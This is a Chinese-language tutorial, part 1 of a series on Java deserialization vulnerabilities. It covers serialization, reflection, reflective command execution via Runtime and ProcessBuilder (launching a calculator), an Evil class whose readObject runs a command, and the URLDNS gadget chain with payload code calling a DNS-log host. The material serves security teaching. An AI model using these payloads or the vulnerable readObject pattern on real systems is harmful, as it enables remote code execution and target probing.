Java 反序列化漏洞系列-1
1 序列化与反序列化基础
序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
1.1 相关方法
ObjectOutputStream 类的 writeObject() 方法可以实现序列化。按 Java 的标准约定是给文件一个 .ser 扩展名。
ObjectInputStream 类的 readObject() 方法用于反序列化。
1.2 序列化前提
实现 java.io.Serializable 接口才可被反序列化,而且所有属性必须是可序列化的(用 transient 关键字修饰的属性除外,不参与序列化过程)
1.3 漏洞成因
序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
反序列化 payload 生成工具:https://github.com/frohoff/ysoserial/
2 漏洞基本原理
2.1 序列化
序列化后的数据开头包含两字节的魔术数字:ACED。接下来是两字节的版本号 0005 的数据。此外还包含了类名、成员变量的类型和个数等。

序列化的数据流以魔术数字和版本号开头,这个值是在调用 ObjectOutputStream 序列化时,由 writeStreamHeader 方法写入:
| 1
2
3
4
5
6
 | protected void writeStreamHeader() throws IOException {
  //STREAM_MAGIC (2 bytes) 0xACED 
  bout.writeShort(STREAM_MAGIC);
  //STREAM_VERSION (2 bytes) 5
  bout.writeShort(STREAM_VERSION);
}
 | 
 
2.2 反序列化
Java程序中类 ObjectInputStream 的 readObject 方法用来将数据流反序列化为对象。
readObject() 方法在反序列化漏洞中它起到了关键作用。如果 readObject() 方法被重写,反序列化该类时调用便是重写后的 readObject() 方法。如果该方法书写不当的话就有可能引发恶意代码的执行。
如:
| 1
2
3
4
5
6
 | public class Evil implements Serializable {
    public String cmd;
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
}
 | 
 
但是,实际中反序列化漏洞的构造比较复杂,而且需要借助 Java 的一些特性,如 Java 的反射。
3 Java 反射
3.1 Java 反射定义
对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为 java 语言的反射机制。
反射是⼤多数语⾔⾥都存在的特性,对象可以通过反射获取它的类,类可以通过反射拿到所有⽅法(包括私有),拿到的⽅法可以直接调用。总之,通过反射,可以将 Java 这种静态语⾔附加上动态特性。
Java 语言虽然不像 PHP 那样存在许多灵活的动态特性,但是通过反射,可以达到一定的效果,如下面这段代码,在传入参数值不确定的情况下,该函数的具体作用是未知的。
| 1
2
3
4
 | public void execute(String className, String methodName) throws Exception {
    Class clazz = Class.forName(className);
    clazz.getMethod(methodName).invoke(clazz.newInstance());
}
 | 
 
在 Java 中定义的一个类本身也是一个对象,即 java.lang.Class 类的实例,这个实例称为类对象
- 类对象表示正在运行的 Java 应用程序中的类和接口
- 类对象没有公共构造方法,由 Java 虚拟机自动构造
- 类对象用于提供类本身的信息,比如有几种构造方法, 有多少属性,有哪些普通方法
要得到类的方法和属性,首先就要得到该类对象
3.2 获取类对象
假设现在有一个 Person 类:
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 | public class Person implements Serializable {
    private String name;
    private Integer age;
    public Person(String name, Integer age) {
        this.name = name;
        this.age = age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public Integer getAge() {
        return age;
    }
    public void setAge(Integer age) {
        this.age = age;
    }
}
 | 
 
要获取该类对象一般有三种方法:
- class.forName("com.geekby.Person")
- Person.class
- new Person().getClass()
最常用的是第一种,通过一个字符串即类的全路径名就可以得到类对象。
3.3 利用类对象创建对象
与直接 new 创建对象不同,反射是先拿到类对象,然后通过类对象获取构造器对象,再通过构造器对象创建一个对象。
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 | package com.geekby;
import java.lang.reflect.*;
public class CreateObject {
    public static void main(String[] args) throws Exception {
        Class PersonClass = Class.forName("com.geekby.Person");
        Constructor constructor = PersonClass.getConstructor(String.class, Integer.class);
        Person p = (Person)constructor.newInstance("Geekby", 24);
        System.out.println(p.getName());
    }
}
 | 
 
| 方法 | 说明 | 
| getConstructor(Class… parameterTypes) | 获得该类中与参数类型匹配的公有构造方法 | 
| getConstructors() | 获得该类的所有公有构造方法 | 
| getDeclaredConstructor(Class… parameterTypes) | 获得该类中与参数类型匹配的构造方法 | 
| getDeclaredConstructors() | 获得该类所有构造方法 | 
3.4 利用反射调用方法
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 | public class CallMethod {
    public static void main(String[] args) throws Exception {
        Class PersonClass = Class.forName("com.geekby.Person");
        Constructor constructor = PersonClass.getConstructor(String.class, Integer.class);
        Person p = (Person)constructor.newInstance("Geekby", 24);
        Method m = PersonClass.getDeclaredMethod("setName", String.class);
        m.invoke(p, "newGeekby");
        System.out.println(p.getName());
    }
}
 | 
 
| 方法 | 说明 | 
| getMethod(String name, Class… parameterTypes) | 获得该类某个公有的方法 | 
| getMethods() | 获得该类所有公有的方法 | 
| getDeclaredMethod(String name, Class… parameterTypes) | 获得该类某个方法 | 
| getDeclaredMethods() | 获得该类所有方法 | 
3.5 通过反射访问属性
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 | public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        Class PersonClass = Class.forName("com.geekby.Person");
        Constructor constructor = PersonClass.getConstructor(String.class, Integer.class);
        Person p = (Person) constructor.newInstance("Geekby", 24);
        // name是私有属性,需要先设置可访问
        Field f = PersonClass.getDeclaredField("name");
        f.setAccessible(true);
        f.set(p, "newGeekby");
        System.out.println(p.getName());
    }
}
 | 
 
| 方法 | 说明 | 
| getField(String name) | 获得某个公有的属性对象 | 
| getFields() | 获得所有公有的属性对象 | 
| getDeclaredField(String name) | 获得某个属性对 | 
| getDeclaredFields() | 获得所有属性对象 | 
3.6 利用反射执行代码
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
 | public class Exec {
    public static void main(String[] args) throws Exception {
      
      //java.lang.Runtime.getRuntime().exec("calc");
      Class runtimeClass = Class.forName("java.lang.Runtime");
      // getRuntime是静态方法,invoke时不需要传入对象
      Object runtime = runtimeClass.getMethod("getRuntime").invoke(null);
      runtimeClass.getMethod("exec", String.class).invoke(runtime,"open /System/Applications/Calculator.app");
    }
}
 | 
 
以上代码中,利用了 Java 的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑,而这个机制也是后续的漏洞使用的前提。
        
            tips
        
        
            invoke 的作用是执行方法,它的第一个参数是:
 
     
此外,另一种常用的执行命令的方式 ProcessBuilder,通过反射来获取其构造函数,然后调用 start() 来执行命令:
| 1
2
 | Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
 | 
 
查看文档可知:ProcessBuilder 有两个构造函数:
- public ProcessBuilder(List<String> command)
- public ProcessBuilder(String... command)
上面通过反射的调用方式使用了第一种形式的构造函数。
但是,上述的 Payload 用到了 Java 里的强制类型转换,有时候我们利用漏洞的时候(在表达式上下文中)是没有这种语法的。因此,仍需利用反射来执行 start 方法。
| 1
2
3
 | Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("open", "/System/Applications/Calculator.app")));
 | 
 
上述的第二种构造函数如何调用呢?
对于可变长参数,Java 在编译的时候会编译成一个数组,也就是说,如下这两种写法在底层是等价的:
| 1
2
 | public void hello(String[]names){}
public void hello(String...names){}
 | 
 
因此,对于反射来说,如果目标函数里包含可变长参数,传入数组即可。
| 1
2
 | Classclazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)
 | 
 
在调用 newInstance 的时候,因为该函数本身接收的是一个可变长参数:

传给 ProcessBuilder 的也是一个可变长参数,二者叠加为一个二维数组,所以整个 Payload 如下:
| 1
2
3
 | Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"open", "/System/Applications/Calculator.app"}}));
 | 
 
3.7 反序列化漏洞与反射
在安全研究中,使⽤反射的⼀⼤⽬的,就是绕过某些沙盒。比如,上下文中如果只有 Integer 类型的数字,如何获取到可以执行命令的 Runtime 类:
比如可以这样(伪代码):1.getClass().forName("java.lang.Runtime")
4 DNSURL gadget 分析
4.1 调用链
| 1
2
3
4
 |  *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 | 
 
payload:
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
 | HashMap ht = new HashMap(); 
URL u = new URL("dnslog");
// 这里在序列化时不发送请求,防止在反序列化探测时误判
Class c = u.getClass();
Field f = c.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(u, 1234);
ht.put(u, "Geekby");
// 把 hashcode 改为 -1,还原
f.set(u, -1);
 | 
 
4.2 分析
首先查看 HashMap 的 ReadObject 方法

339 行:在调用 putVal 方法之前会调用 hash 方法,查看其源代码:

899 - 903 行:如果 key == null,hashcode 赋值为 0。key 存在的话,则调用 key 的 hashcode 方法。
在本 gadget 中,key 为 URL 对象。接着,跟进 URL 的 hashCode 方法。

URL 类的 hashCode 很简单。如果 hashcode 不为 -1,则返回 hashcode。在序列化构造 payload 的时候,需要设置 hashcode 为 -1 的原因,就是防止进入到 hashcode 方法中,进而发送 DNS 请求,影响判断。
当 hashcode==-1 ,调用 handler 的 hashCode 方法。该类的定义在 URL 的构造函数中,主要是根据 scheme 去决定用什么类做 handler。在这里是 URLStreamHandler 类,跟进 URLStreamHandler 的 hashcode 方法。

在第 359 行,调用 getHostAddress 获取域名对应的 IP。

DNSURL 链便是利用该处,来触发 DNSLog 发送请求。
参考
phith0n Java 漫谈系列
Java反序列化漏洞原理解析
Java反序列化漏洞从入门到关门
从0开始学Java反序列化漏洞
深入理解 JAVA 反序列化漏洞
Java反序列化利用链补全计划